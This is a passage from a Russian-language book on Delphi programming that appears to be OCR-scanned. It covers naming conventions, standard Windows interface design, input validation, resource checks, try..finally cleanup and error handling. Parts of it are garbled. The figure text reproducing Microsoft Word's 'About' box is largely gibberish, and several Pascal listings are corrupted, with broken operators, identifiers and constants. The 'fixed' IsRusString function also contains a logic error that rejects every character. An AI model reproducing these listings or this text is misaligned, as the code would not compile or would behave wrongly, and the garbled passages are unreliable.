удобочитаемости заранее и упростить даль- нейшую жизнь себе и остальным программистам, которые работают с вами в од- ной команде. В данной книге для именования переменных и компонентов в простом коде мы будем иногда отходить от правил. Но когда вы будете создавать свое приложение, то старайтесь следовать удобному для себя стилю с самого начала. В будущем вы увидите все преимущества структурированного кода и правильного именования переменных. Для примеров и «одноразовых» утилит (программы, которые пишутся для вы- полнения единовременной работы) я очень часто отступаю от правил, потому что в таких кодах одна переменная может выполнять множество функций и сложно подобрать общие названия. В этом случае код переполняется переменными с именами типа Temp, Str, но меня это не смущает, потому что в будущем этот код использоваться не будет, и читать его не придется. Для именования файлов тоже должны быть свои правила. Могу посоветовать выбрать одно из двух: • перед именем файла ставить префикс и, если этот файл является модулем без визуальной формы. Перед именем файла ставить f, если в нем хранится визу- альная форма; • просто добавлять в конце имени Unit, если это модуль без визуальной формы
24 Глава 1. Правильный код В любом случае часть имени файла должна состоять из названия объекта, формы или компонента, описание которого находится в файле. В этом отношении мне нравится язык программирования Java, где это условие обязательно (имя файла должно соответствовать имени главного класса в нем). Я больше люблю второй вариант с одним исключением — модуль, содержащий главную форму проекта, называется Mainllnit.pas. Таким образом, какой бы проект я не рассматривал, всегда легко найти главную форму и необходимые файлы. Старайтесь не хранить в одном файле несколько объектов. Лучше пусть будет несколько файлов, зато потом по их именам можно легко найти нужный объект. Если какая-то процедура в программе является обработчиком события для ком- понента или формы, то ее предназначение легко понять по названию. Для созда- ния имени процедуры, вызываемой в ответ на события, в Delphi используются название компонента и имя события. Например, у вас есть компонент с именем MainPageControl типа TPageControl, ивы создаете для него обработчик события OnChange, в этом случае название процедуры будет MainPageControlChange. Это очень удобно и если нет особой надобности в изменении имени, лучше его не трогать. В дальнейшем вы сможете почувствовать мощь и удобство такого подхода. Если процедура или функция написана вами и не вызывается в ответ на события, то именование может быть любым, главное, чтобы вам было понятно. Единствен- ное, что можно посоветовать — ставить перед началом процедуры подробные ком- ментарии примерно следующего вида: //////////////////////////////////////////////////// // ОПИСАНИЕ: расчет стоимости чего-либо // ПАРАМЕТРЫ: Для расчета нужны: // tCol - количество товара // iCost - цена товара //////////////////////////////////////////////////// procedure CalcCostdCol. ICost: Integer); begin end; По таким комментариям очень легко понять, для чего нужна процедура и ее пара- метры, даже через несколько лет. Таким образом, облегчается процесс поддержки программы (изменения, дополнения и исправления кода). Когда вы пишете программу, то помните, что на этапе разработки соотношение зат- раченных усилий к цене меньше. Не экономьте свое время на правильном оформ- лении, потому что это ухудшит ваше положение во время поддержки программы. При поддержке плохо оформленного кода вы будете тратить много времени на вспо- минание того, что делали год или два назад. В определенный момент может даже случиться так, что написать новый продукт с нуля обойдется дешевле поддержки старого. Обязательно выработайте для себя некие правила. Есть определенные стандарты, и многие стараются придерживаться только их. Но стандарты являются рекомен- дуемыми, и никто не заставляет обязательно их использовать. Если вам что-то не подходит, то можно отступить от этих стандартов, и сделать что-то свое.
1.5. Правильный интерфейс 25 1.4. Базы данных Хотя в данной книге мы не будем рассматривать программирование баз данных, но принципы именования (в дальнейшем и основы оптимизации) затронем, по- тому что здесь есть свои нюансы. Как и в случае с переменными, для именования полей базы данных используют- ся тс же правила, что и для переменных в программе. К каждому имени нужно добавлять префикс, который будет указывать на тип, чтобы вы даже через год смогли только по имени определить тип любого поля. Таким образом, вам не надо будет каждый раз «лезть» в настройки базы. Если при написании кода еще можно иногда отступать от правил именования, потому что раздел var находится рядом и всегда можно подсмотреть, то база дан- ных управляется отдельно, поэтому необходимо четко следовать правилам. В базах данных есть определенные поля, которыми нужно управлять по-особен- ному. Например, для именования ключевого поля можно использовать следую- щую запись: 1с1ИмяТаблицы. Таким образом, по ключу можно понять, к какой табли- це он относится, а по имени таблицы узнать имя ключа. Когда ключ используется для связи с другой таблицей, то после id нужно ставить имя таблицы, с которой происходит связь. Помимо этого, можно отделить иден- тификатор id знаком подчеркивания, чтобы сразу было видно, что это не основ- ной ключ, а связь. Таким образом, по имени поля можно узнать, для связи с какой таблицей он предназначен. В базах данных имеются процедуры и функции, и к ним можно применять те же правила именования, что и для процедур языка Delphi. А вот триггеры свойствен- ны именно базам данных. Что это такое? Триггер — это процедура, которая вы- полняется при определенных действиях над данными — вставке, изменении или удалении (операции insert, update или delete). Это как бы обработчики событий, в которых можно повлиять на обработку данных. Здесь для именования наилуч- шим способом будет следующая запись: ИмяТаблицы_СмыслТриггера_Операции Порядок может быть любым, лишь бы вам было удобно, но желательно, чтобы все три составляющие присутствовали. Допустим, что у вас должен быть триггер в таблице Person, который при добавлении новых записей или изменении суще- ствующих должен проверять существование дублирующих записей. Имя для та- кого триггера может быть следующим: Person_CheckDouble_iu По этому имени можно сразу понять, для какой он таблицы, что делает и когда выполняется. В MS SQL Server триггеры привязаны к базам данных и таблицам, а в Oracle все триггеры хранятся в одном месте, вне зависимости от таблиц, и здесь вы реально оцените выгоду от такого метода именования. 1.5. Правильный интерфейс Когда-то я писал программы так, чтобы было красиво и мне удобно. При этом пользователи очень часто возмущались и постоянно были недовольны. Конечно
26 Глава 1, Правильный код же, были и те, кого все устраивало, потому что даже у самой бредовой идеи есть сторонники. Поэтому программы «продавались» редко и заработки были невы- сокими. Опыт приходит с годами, и мне понадобилось на это около трех лет. Именно че- рез этот промежуток времени я понял свои ошибки. Если раньше в интерфейсе я искал какие-то свои нестандартные решения, то сейчас понимаю одну хорошую истину: «Не знаешь, как сделать, — посмотри у соседа». Почему-то большинство именно российских программистов ищут нестандартные решения. А ведь если нужно создать программу-шедевр, то изучить разработку соседа (конкурента) не помешало бы. После «ожога I степени» от неправильного интерфейса своих программ я стал смотреть, как это делают другие. Первым делом советую обратить внимание на разработки Microsoft. Именно они славятся простотой и эффективным оформле- нием. В недрах корпорации над разработкой легкого в использовании интерфей- са работают отличные специалисты, и не надо думать, что вы сможете создать что- то лучше. Рассмотрим, что я делал неправильно и что было сделано для повышения про- даж. Как говорится, на ошибках учатся, поэтому постарайтесь увидеть мои ошиб- ки и научиться на них. Мы будем изучать не только мои ошибки, но и ошибки других программистов и фирм, чтобы разобраться с вопросами правильного и неправильного оформления интерфейса. Как я уже сказал, если не знаете, как что-то сделано, посмотрите на программы Microsoft. Но при этом нельзя следовать абсолютно всему: некоторые техноло- гии, внедряемые в ее продукты, предназначены скорее для «торможения» рынка, и вы должны отличать их. Например, в этих продуктах постоянно появляются но- вые правила оформления, но при этом корпорация сама не следует этим прави- лам во всех продуктах. Ярким представителем является пакет Office, в котором постоянно изменяется вид меню, кнопок, но остальные программы остаются офор- мленными по-старому. Зачем же тогда происходят такие изменения? Все очень просто. Такая мощная корпорация, как Microsoft, может позволить себе потра- тить время на переписывание интерфейса и при этом быстрыми шагами двигать- ся вперед. Но не все конкуренты могут поступать также, так как переписывание больших участков кода может затормозить их развитие. ОС Microsoft Windows завоевала большую популярность благодаря стандартиза- ции и упрощенному интерфейсу. Стандартизация включает в себя правила, по которым все окна в разных программах выглядят одинаково, а основные коман- ды выполняются схожим образом. Так, пользователь мог, запустив новый про- граммный продукт, сразу начать с ним работать, потому что знал, где искать нуж- ные команды, и понимал, как ими пользоваться. Если усложнить пользователю жизнь, то он не сможет быстро приступить к работе в новой программе и не ста- нет с ней разбираться, а вы потеряете деньги. Поэтому первое правило, которое вы должны запомнить, — нельзя отступать от общепринятых стандартов. Вначале нужно научиться оформлять окна в соответствии со стандартами. Мно- гие начинающие программисты стараются сделать его вид необычным, создать
1.5. Правильный интерфейс 27 разноцветное меню, придать окну неправильную форму или встроить поддержку тем. А это первая и самая главная ошибка. Пару лет назад, после умопомрачительного успеха проигрывателя музыкальных файлов WinAMP, который добился успеха благодаря поддержке тем, программи- сты стали встраивать эту технологию во все программы подряд. Это хорошо смот- рится в проигрывателях музыкальных файлов, но как сделать то же самое в офис- ной программе, я себе даже не представляю. Но когда я увидел ftp-клиент 3D FTP, то понял, что мое воображение несравнимо с воображением разработчиков этой программы. Не прошло и двух лет, как этот ftp-клиент исчез. Я специально хотел найти хотя бы одну из версий, чтобы показать вам пример, но в Интернете все найденные ссылки указывают в пустоту. Поддержку смены интерфейса можно встроить в простые программы, в которых в главном окне находится не много элементов управления. В сложных и в офис- ных программах интерфейс должен быть строгим и без излишеств. Итак, если вы создаете маленькую утилиту для дозвона в Интернет или проигры- вания файлов, то можете делать главное окно любой формы и вида. В остальных программах нужно подчиняться общепринятым законам, то есть главное окно должно иметь стандартную прямоугольную форму. Не надо «вешать» никаких лишних роликов или украшений, потому что они только отвлекают внимание. В главном окне обязательно должно быть меню, даже если программа выполняет несколько функций, которые можно было бы оставить в виде кнопок. Меню долж- но начинаться с пункта Файл, в котором должны находиться основные команды. Если программа будет работать с файлами (документами), то обязательно нали- чие пунктов Создать, Открыть, Сохранить и т. д. Последний пункт меню — это обычно Помощь, в котором содержатся команды вы- зова файла помощи, окна информации о программе и ссылки на сайт. Если вы раз- рабатываете программу для зарубежного рынка, то файл помощи должен присут- ствовать обязательно и содержать наиболее полную информацию об использовании программы. Американцы не любят самостоятельно разбираться в возможностях программы, им легче прочитать файл помощи. Российский пользователь, наобо- рот, не читает документацию, и этот файл может содержать минимум информации. Названия пунктов должны быть максимально короткими и состоять не более чем из трех слов. Для общепринятых пунктов меню лучше всего использовать уже устоявшиеся имена. Например, для пункта меню Создать нет смысла писать на- звание Создать документ В меню Файл пункт Создать может создавать только но- вый файл или документ, с которым работает программа, поэтому не надо писать лишние слова. Для основных пунктов меню назначаются горячие клавиши. Они также должны соответствовать общепринятым стандартам Windows. Для создания нового доку- мента используется сочетание клавиш Ctrl+N, для открытия документа — Ctrl+O, а для вызова справки — F1. Все горячие клавиши должны отображаться в меню напротив соответствующих пунктов и именно с правой стороны (рис. 1.1). Не надо использовать для создания меню какие-то нестандартные компоненты. В Delphi для этих целей существуют компоненты TMainMenu (меню в классическом
28 Глава 1, Правильный код стиле) и TActionMainMenuBar (для создания меню в стиле Office 2000 или Office ХР). Такие нестандартные решения, как Cool Menu (разработка сторонней фирмы, кото- рую можно найти на сайте www.torry.net), могут отпугнуть даже опытного пользова- теля. Помните, что пользователи не любят думать (особенно из Европы и Амери- ки), им необходимо сразу получать результат. Я сам не люблю тратить время на лишнее обучение. Лучше что-то простое, но привычное, чем сложное и мощное, но неудобное. Рис. 1.1. Названия пунктов меню должны быть короткими Именно из-за нестандартности оболочки Delphi я переходил на нее два года. До этого я программировал на Visual C++ и не мог привыкнуть к интерфейсу Borland. Зато после привыкания с трудом программировал на MS Visual C++, потому что его интерфейс стал непривычным и неудобным. Не пытайтесь делать что-то уни- кальное, потому что большинство этого не оценит. Слева от названий пунктов меню желательно располагать изображения соответ- ствующих кнопок панелей программы. Никто не будет сразу пользоваться кноп- ками на панелях программы и читать всплывающие подсказки. Даже если вы ис- пользуете очевидные изображения, поместить их в меню будет хорошим тоном. Перейдем к панели инструментов. На ней необходимо расположить кнопки ос- новных команд. Все команды группируются по темам и отделяются друг от друга специальным разделителем Separator.
1.5. Правильный интерфейс 29 Если команд очень много, то желательно разбить их на несколько панелей инст- рументов и осуществить возможность их перемещения Это позволит пользова- телю расположить их так, как ему удобно. Очень важно правильно подобрать картинки для команд. Пользователь должен по изображению определить назначение кнопки и не использовать какие-то де- шифрующие устройства. Если не умеете рисовать сами, то возьмите картинки в Интернете или скопируйте из других программ схожего направления. Если бу- дете искать в Интернете, то подбирайте изображения, выполненные в строгом сти- ле, без смешных мордочек или ярких закорючек, которые могут раздражать. Не надо делать кнопки слишком большого размера. Оптимальным является раз- мер 16 на 16 пикселов. Надписи к кнопкам по умолчанию желательно не делать. Надписи присутствовали только в Internet Explorer, а в дальнейшем от лишнего текста на панелях отказалась даже Microsoft. Текст «съедает» полезное простран- ство, а информации добавляет очень мало. В программе желательно создать ото- бражение подписей с возможностью отключения данного режима. Если некоторые пользователи не читают файлы помощи и не смотрят на подсказ- ки, то есть и такие, кто все читает и следит за подсказками в строке состояния. Именно поэтому подсказки должны быть в каждой программе, в них необходимо выводить короткое описание выделенных команд. Подсказки, которые всплывают над кнопками панели инструментов, должны быть короткими (два-три слова, и лучше, если это будет текст из соответствующего пун- кта меню), а в строке состояния можно выводить уже более полное описание. В строке состояния отображается информация о текущем состоянии программы или о выполнении какой-то операции. Не надо для этих целей создавать лишние компоненты и загружать интерфейс главного окна. По возможности окна желательно делать прямоугольными и вытянутыми по го- ризонтали, так как обычно ширина телевизоров и мониторов больше высоты. Диалоговые окна, так же как и главное окно, должны выглядеть строго и вытя- нутыми по горизонтали. Единственное окно, которое может быть вытянуто по вертикали, — это окно свойств (рис. 1.2). Посмотрите на окно свойств докумен- та Word или свойств файлов/папок. Оно вытянуто по вертикали и содержит нескольких вкладок. Все остальные окна желательно делать с большей шириной, чем высотой. Мы уже знаем, что такие окна воспринимаются лучше, но если вы видите, что окно «на- прашивается» быть вытянутым по вертикали, то можно сделать его и таким Тут нет обязательного правила, это только рекомендация, которой желательно следо- вать, но можно и отступать. Посмотрите, какой формы окна в программе Word (одно из них представлено на рис. 1.3). Наверное, 90 % из них имеют ширину больше высоты. Но иногда встречаются окна с противоположной пропорцией. Единственное окно, которое может выглядеть как угодно, так это О программе Mic- rosoft Word (рис. 1.4). Большинство пользователей вообще его не открывают Именно поэтому в таких окнах программисты любят «выхлестнуть» свое вообра- жение наружу, и вы можете здесь показать все, на что способны.
30 Глава 1, Правильный код Рис. 1.2. Окно свойств папки Рис. 1.3. В программе Word есть окна, вытянутые по вертикали, хотя большинство горизонтальны Когда я писал этот текст, то, опять же, заглянул в данное окно. Оно оказалось не- красивым, неинформативным и неудобным. Но разработчиков, видимо, это не особо волнует, а пользователи не возмущаются, потому что с ним работать не при- ходится. И все же присутствовать оно должно в каждой программе. Теперь нам остается разобраться с элементами управления. Они также должны быть стандартными и из набора Windows. Мне часто задают вопросы, как сделать кнопку овальной или неправильной формы, но я бы не советовал вам делать что- то подобное, потому что это только испортит восприятие. Нестандартные вещи нужно делать очень аккуратно и с умом. Если вы не уве- рены в своих силах, то лучше даже не пытаться делать что-то подобное, чтобы не испортить интерфейс программы и отношение к ней со стороны пользователей.
1.6. Качество кода 31 Опрогр е Microsoft Word__________ __ _ : Mkro^oft® Word 2002 (10.2627-2625) •Номерпродукта; : © Корпорация №йкрософт;(Йсго$с^£ Corporation);> 1.980'200г.:t Все права защищены г;.т ОРФО©Проверка рфогрвфимфЙнфсрщвтикАО 1999+20 Есеправазащищены ОРФО® РасстйМйбка переносов ©Инф рмагжА.0.> 1992 2000 В £ права защищен!. ОРФО ©Тезаурус ©Ияфсркитцк А.Ом 1992+200(1 Все права ащишенм РФО ©Гра^атичесмя мстнлпстичеосая проверка® Информатик А.О 1990+1997 Все права защищен! Portions of International С onsets pell™ spelling correction s stem © 1993 by LatnotA & Hau p a Spee h Products N V АЙ rights reserved English thesaurus content de eloped for M»c soft by Bl omskwy Рц ishi Pl The Arnen an Heritege^C'Ktionary the English Language Third Edrtion Gopynght I 2 Houghton Mtfffin Company. Electrordc vers^ Ikensod fwmLrriout &.Hauspie Speec ProdutsNV All rights reserved РУТА *“ + Переярка украшсвкп Орфеграфн ©Проданг Лтд< 199-2000 У i права млнаен ₽ ТА *й + Переноси е yrpaiHCbiw словах, ©Проянг Лтд 1997 2 а праве аахищан РУТА ’* Тезаурус украУнсьно! нови, © Пролиг Лтд 1998-2000 Ус! права защищено Некоторые шаблона раЗраиотани для кор рации Майкр фт вдгятанией Tmpressa yste s анта Роза* Калифорния, Сравнение версий ©Advanced Software Inc,, 1999+2000 Все права защищены, npiasbw ИСПСЛЬЗС1ЁаН1'1Я.ЗТйЙ КОПИИ Ирр^та^ < Notebook Внимание! Данная программа защищено законами 6 авторских правах и международными соглашениями. Незаконное воспроизведение или распространение данной программе» или :\йю6рй/её/чаёти^ . ответственность. Рис. 1.4. Информация о программе Word Когда будете создавать интерфейсы собственных программ, то уделите этому по- больше внимания. Чем проще и удобнее программа, тем больше пользователей можно завоевать. Старайтесь не перегружать окна компонентами. Между элемен- тами управления должно быть достаточно свободного пространства, чтобы окно выглядело эстетично. 1.6. Качество кода В следующей главе мы подробно затронем тему оптимизации, а сейчас нам пред- стоит увидеть лицо одного из главных врагов «быстрого» кода — проверки. Имен- но проверки всего и вся позволяют добиться правильно работающего кода, но при этом могут отнимать много ресурсов. Начинающие программисты просто не лю- бят их делать, а надеются на пользователя, что он будет работать с программой так, как надо, и передавать ей только правильные параметры. Когда вы пишете программу, обязательно защищайтесь от любых «неправильных» действий пользователя. Он обязательно где-то случайно зацепит пальцем лиш- нюю кнопку, и вместо числа программа получит букву. Некоторые опытные программисты считают, что все ошибки в программе про- исходят по вине пользователя, но не надо забывать, что есть еще и аппаратные сбои. Например, допустим, что программа должна загружать какой-то файл, а именно на его месте на диске образовался испорченный блок. Если не прове- рять чтение на ошибки, то программа может завершиться фатально. Пользова- тель посчитает программу неработоспособной и удалит ее, а ведь ошибка была
32 Глава 1- Правильный код на жестком диске. Защититесь от таких ошибок и проверяйте все возможные варианты неверного хода программы. Сейчас мы рассмотрим основные случаи, при которых могут возникнуть ошибки, и научимся, как можно избежать таких ситуаций или свести их действие к мини- муму. Описать абсолютно все невозможно, потому что код зависит от специфики приложения и используемых технологий. Так, например, в приложениях для ра- боты с базами данных есть свои нюансы, а программирование в DirectX осуще- ствляется по совершенно иным правилам. 1.6.1. Входные параметры Необходимо проверять все, что вводит пользователь. Если слово должно состо- ять только из букв, то пользователь просто случайно может нажать какую-то циф- ру и, не заметив этого, передать программе. Однажды я писал программу складского учета, и после ее внедрения возникли проблемы с тем, что названия писались в разной раскладке. Например, оператору нужно было ввести в базу слово сальник. Первая буква — «с», а на клавиатуре в английской и русской раскладках эта буква находится на одной и той же клави- ше. Пользователь начинает вводить «с» в английской раскладке, а потом, увидев свою ошибку, переключается на русскую, при этом не стирая букву «с». Конечно же, это слово будет отличаться от слова «сальник», написанного полностью в рус- ской раскладке. Именно поэтому вы должны проверять допустимость вводимых символов. В данном случае можно написать функцию, которая будет возвращать значение true, если слово содержит символы только русского языка, и fal se — при наличии недопустимых символов. Такая функция может выглядеть следующим образом: function IsRusString(TestStr:String):Boolean; var i: Integer; begin Result := true; for 1 ;= 1 to Length(TestStr) do begin if ((TestStr[i]<’A’) or (TestStr[i]>,Hl)) then Result ;= false; end; end; Эта функция возвращает значение true, только если все символы принадлежат русской раскладке (A-я). В кодировке все буквы идут подряд, начиная с боль- шой буквы «А» и заканчивая маленькой «я». Если какая-то буква отличается, то она считается недопустимым символом. Единственный недостаток такой провер- ки — буква «ё» в кодировке как бы вынесена за пределы и идет не после буквы «е», как в русском алфавите, а имеет свой код. Чтобы исправить эту ошибку, мож- но написать так: function IsRusString(TestStr:String); Boolean: var
1.6. Качество кода 33 1: Integer: begin Result := true: for 1 := 1 to Length(TestStr) do begin if ((TestStr[i]<,AI) or (TestStr[i]>,H*)) and (TestStr[i]<>’E’) or (TestStr[i]<>'e’) then Result := false: end: end: Если программе нужен числоврй параметр, то пользователь все равно будет вво- дить его в компонент TEdit, а значит, вы увидите его как строку. Для преобразова- ния строки в число используется функция StrToInt. Я ею пользуюсь только для перевода строки, в которой точно находится число. Если эта строка образуется при вводе пользователем, то обязательно нужно проверить, нет ли в ней симво- лов, мешающих переводу в число (например, букв) Проверку можно сделать как в функции IsRusString, но я люблю другой способ Есть функция преобразования строки в число — StrToIntDef, которой передаются такие два параметра: • строка, которую надо преобразовать; • число, которое будет возвращено, если во время преобразования произошла ошибка. Если мне нужно, чтобы программе передавалось число в диапазоне от -100 до +100, то я делаю преобразование следующим образом: iResult := StrToIntDef(Строка, -1000000): if (iResult < -100) or (iResult > 100) then begin Application.MessageBox(’Неверный параметр’, ‘Ошибка’, MBJ3K): exit: end: В первой строке происходит преобразование строки в число. В качестве значения по умолчанию я выбрал такое значение, которое выходит за пределы, плюс какой- то запас на случай, если рамки допустимости изменятся. Число -1 000 000 точно выходит за пределы диапазона, и остается хороший задел на случай изменения. После этого происходит проверка, если результат выходит за допустимые рамки, то выводим сообщение об ошибке и выходим из процедуры или функции. Чаще всего пользователи сразу видят ошибку, если вместо числа указана какая- то буква. Но если в поле ввода в начале или в конце стоит пробел, то это обычно упускается из виду. Пробел удалить легко, поэтому такую задачу можно возло- жить на программу: Строка := Тпт(Строка): iResult := StrToIntDef(Строка, -1000000): if (iResult < -100) or (iResult > 100) then begin 2 Зак. 308
34 Глава 1. Правильный код Application.MessageBox('Неверный параметр'. 'Ошибка'. МВ_ОК): exit: end: Перед тем как переводить строку в число, вызываем функцию Trim, которая уда- ляет все пробелы, расположенные в начале и в конце строки. Если пробелов нет, то результатом будет та же строка. Для программы выполнение данного кода от- нимает не много времени, уменьшается вероятность возникновения ошибок и по- вышается качество кода. 1.6.2. Проверка доступности ресурсов При обращении к какому-либо ресурсу или его выделении обязательно проверяй- те его доступность. Например, если программа должна работать с файлом, то после открытия проверьте полученный указатель. Файл, содержащий ошибку, не будет найден. Не надо надеяться, что файлы всегда будут находиться на своем месте, пото- му что пользователь может намеренно или случайно их удалить или переместить, они могут «запортиться» из-за неисправности на жестком диске и т. д. То же самое относится и к памяти. При ее выделении обязательно надо проверять полученный указатель. Может случиться, что вы запросили слишком много па- мяти или произошел какой-то сбой. В Windows 2000/ХР таких проблем не воз- никает благодаря хорошей «подкачке» и динамическому выделению памяти, но пользователь может работать и в Win9x. Если программа должна работать с такими устройствами, как принтер или звуко- вая карта, то перед попыткой использования убедитесь в их наличии. Если вы думаете, что компьютер без звука сейчас немыслим, то сильно ошибаетесь. Мои пользователи часто присылают свои конфигурации, когда у них возникают про- блемы, и компьютеры без звука еще встречаются. Это происходит не среди рос- сийских пользователей, а за рубежом. Я не аналитик и не могу сказать даже приблизительное соотношение компьюте- ров со звуком и без него. Но если без звуковой плату будет хотя бы 10 %, то полу- чается, что вы игнорируете их всех, потому что программа у таких пользователей будет работать нестабильно. Десять процентов — это не такая уж и маленькая циф- ра. Если посчитать, сколько людей в мире имеют компьютер, то получится число с большим количеством нулей. Однажды я писал программу экономической отчетности (это был 1995 год, и пи- сал я на языке Pascal) для крупного предприятия и не следил за памятью. Конеч- но же, тогда это были MS DOS и компьютер только 386 DX с 8 Мбайт оператив- ной памяти. Для программы выделялся очень маленький стек, и память была сильно ограничена. Отчет был небольшой, поэтому я понадеялся, что памяти хва- тит. Два месяца действительно не было проблем, а потом программа выдала один отчет, в котором данные были завышены в 100 раз, а я этого не заметил и сдал документы. Когда фирма владеет только миллионом, а отчетность вышла на трил- лионы, у директора может случиться инфаркт. У этого сердце выдержало. Осу- ществив расчет повторно, я добился правильных результатов. Трудно сказать, что было причиной сбоя, но после того как я добавил в программу проверку ресур- сов, проблем больше никогда не было.
1.6. Качество кода 35 После этого случая я всегда проверяю любые выделяемые ресурсы и не надеюсь на файлы «подкачки», потому что и они могут закончиться, если на диске недо- статочно свободного места. Перед каждым обращением к файлу обязательно проверьте его наличие. Незачем обрабатывать ошибку при открытии, когда есть функция FileExists. с помощью которой можно заранее предотвратить будущие ошибки. В Delphi многие списки (например, TStrings) можно сохранять и загружать с диска методами SaveToFile и LoadFromFi 1 е. При сохранении ошибка может возникнуть при неправильном ука- зании пути, а при загрузке — при отсутствии файла. Рассмотрим пример. Допустим, что в программе есть список TListBox. Мы хотим, чтобы при выходе из программы все элементы списка сохранялись в файле, а при старте загружались. Посмотрим на следующий обработчик события OnShow: procedure TMainForm.FormShow(Sender: TObject); begin ListBoxl.Items.LoadFromFile(‘c:\list.txt‘): // Инициализация end; В этом примере сначала загружаются строки из файла, а потом выполняются ос- тальные шаги по инициализации программы. Если файл не будет существовать, то произойдет ошибка, после которой процедура прервет свое выполнение и ини- циализация прекратится. Все это может сказаться на работе программы и стабиль- ности системы. Возможно решить проблему двумя способами: • заключить код загрузки данных из файла в try. .except; • заранее проверить существование файла. Я рекомендую делать и то и другое. Лишняя проверка не помешает: procedure TMainForm.FormShowCSender; TObject); begin if FileExists(‘c:\list.txt’) then try ListBoxl.Items.LoadFromFile(‘c:\list.txt’); except ShowMessage(‘Ошибка загрузки файла’); end; // Инициализация end; В данном случае загрузка произойдет, только если файл существует. Проверка на наличие ошибок все равно присутствует, потому что бывают еще испорченные файлы, неправильный формат и т. д. 1.6.3. Освобождайте ресурсы Когда вы открываете какое-то устройство, файл или выделяете память, то всегда нужно освобождать выделенные ресурсы. В языке Java есть специальные «сбор-
36 Глава 1. Правильный код щики мусора», которые сами убирают все ненужное, а в Delphi и C++ этого нет, и поэтому освобождать ресурсы надо самостоятельно. Если выделить программе большой объем памяти и не освободить его, то весь этот объем полезного пространства будет недоступен системе. Допустим, что мы вы- деляем 100 Кбайт и не освобождаем их. Это не так много, и во времена компьюте- ров с сотнями мегабайтов памяти какие-то 100 из них не станут проблемой. А что, если пользователь запустит программу 10 раз? Вот тут уже происходит утечка в 1 Мбайт. Неиспользуемые страницы памяти ОС может выгружать на диск в файл «подкач- ки». Неосвобожденные участки памяти не используются и помещаются в файл «подкачки». Через некоторое время память компьютера может «замусориться», и понадобится перезагрузка. Не забывайте, что файл «подкачки» расположен на диске, который не резиновый, и на нем тоже может закончиться место. Некоторые ресурсы ОС все же может закрывать за нас, даже если мы забыли об этом. К таким ресурсам относятся файлы. Если вы забыли закрыть их, то при вы- ходе из программы ОС освободит блокировку. Проблема усложняется с появлением ошибок. Даже если освобождение есть, но перед его вызовом произошла ошибка, то произойдет утечка памяти. Представим себе следующий псевдокод: Открытие файла: Обработка; Закрытие файла: Если на этапе обработки произошла ошибка, то выполнение процедуры прекра- тится. Указатель останется неосвобожденным, а файл может остаться открытым и заблокированным для работы из других приложений до тех пор, пока програм- ма не закроется. Чтобы избежать этого эффекта, вы должны использовать код следующего вида: Открытие файла: Проверка на действительность открытого файла; try Обработка; finally Закрытие файла; end; При такой конструкции кода, даже если во время обработки произойдет ошибка, будет выполнен блок finally, в котором закрывается файл и освобождаются ре- сурсы. То же самое относится и к памяти. После выделения необходимого блока обяза- тельно проверьте правильность указателя и поместите блок try.. final 1 у. Проверка доступности ресурса должна осуществляться только до блока try.. fi - nal 1 у. Допустим, что вы не проверяете или делаете проверку доступности уже в бло- ке try.. f i nal 1 у. В этом случае если ресурс не был выделен, то генерируется ошибка и управление переходит в блок finally. Здесь мы пытаемся освободить ресурс, ко- торый не был выделен, и снова возникает ошибка.
1.6. Качество кода 37 При использовании try.. f i nal 1 у проверка доступности ресурса должна присутство- вать обязательно. Представим, что ее вообще нет. В этом случае если во время от- крытия файла произошла ошибка, то программа продолжит выполняться и войдет в блок try. При первом же обращении к переменной, которая должна указывать на файл, произойдет ошибка и управление будет передано блоку fi rally. А здесь у нас закрытие файла, который даже не открыт, поэтому снова возникает исключитель- ная ситуация. Подводя итог, можно сказать, что после запроса ресурса необходима проверка правильности выделения памяти или открытия ресурса, а затем должен начинать- ся блок try.. final 1у. Таким образом, вы можете сделать программу более устой- чивой к исключительным ситуациям. 1.6.4. Обработка ошибок Библиотека VCL, используемая в программах, редко дает сбои при работе. Даже если программа выполнит недопустимую операцию, вероятность аварийного за- вершения работы невелика. Конечно же, есть фатальные ошибки, которые преры- вают дальнейшее выполнение кода, но это встречается редко и в основном из-за ошибок программиста, а не ошибок в VCL. Пользователь не будет сильно рад, если появится сообщение типа «Access Violation» или «Программа выполнила недопустимую операцию». Когда-то я в своих програм- мах вообще не обрабатывал ошибки и надеялся на надежность откомпилированно- го кода и библиотеку VCL. Но когда пользователи начали жаловаться на появле- ние подобных сообщений, я понял свою ошибку. Ни пользователю, ни мне это сообщение ни о чем не говорит, и невозможно определить источник проблемы. Весь «сомнительный» код необходимо проверять на ошибки и по возможности выводить осмысленные сообщения при возникновении аварийных ситуаций, ина- че программа не займет даже малой доли рынка. Любая программа содержит ошиб- ки, и задача хакера — уменьшить их количество, устранить побочные эффекты, а лучше — превратить их в преимущества. Последнее вполне реально, но сначала посмотрим, как надо избегать появления нежелательных сообщений. Как можно избавить код от ошибок? Для начала проверяйте возвращаемое значе- ние каждой функции. Если функция возвращает неправильное значение, то чаще всего имеется параметр, указывающий на ошибку. Если ее не ликвидировать, то при дальнейшей работе ошибка может превратиться в неустранимую («фаталь- ную»). Допустим, что вы ищете в компоненте TListBox строку с текстом 11, но этой стро- ки нет, и конструкция ListBoxl. Items. IndexOf( '11') возвратит значение -1. Далее это отрицательное значение может сыграть в вашем коде злую шутку. Но самое интересное, что только в вашем коде. Следующий пример не выдаст ошибки: Li stBoxl.Items.Delete(ListBoxl.Items.IndexOf('ll’)): Здесь мы пытаемся удалить элемент, который содержит текст 11. Если такой строки не будет, то метод IndexOf возвратит значение -1 и метод Delete будет пытаться уда- лить строку с этим индексом. Элементы нумеруются с нуля, и элемента с индексом -1 не существует, — по идее, должна быть ошибка В большинстве других языков про- граммирования такой код может вызвать ошибку, а в Delphi ничего не произойдет.
38 Глава 1. Правильный код Не обращайте внимания на отличные возможности VCL, а делайте проверки аб- солютно каждого шага. В следующем примере (листинг 1.5) элементы удаляются в три этапа: поиск элемента, проверка полученного значения, удаление. Резуль- тирующий код увеличится ненамного, скорость выполнения практически не пос- традает, а вот надежность повысится, а значит, вы приобретете новых пользова- телей. Листинг 1.5. Правильное удаление элементов var index: Integer: begin index : = ListBoxl.Items.IndexOf('ll'); if index = -1 then begin ShowMessage('Такой элемент не найден'): exit: end; Li stBoxl.Iterns.Delete(i ndex): end; Итак, регулярно используйте практику проверки значений, возвращаемых функ- циями. Это должно выполняться автоматически. Лично я редко делал проверки, поэтому сейчас уже трудно переучиваться, но я стараюсь и заставляю себя. Да, это отнимает процессорное время, но это намного лучше, чем если пользователь увидит ошибку. Об оптимизации мы еще будем говорить в будущем, но не надо ускорять код в ущерб проверке и стабильности. Исключительные ситуации являются средством обеспечения надежности кода, смягчения побочного эффекта от ошибки. Возможно 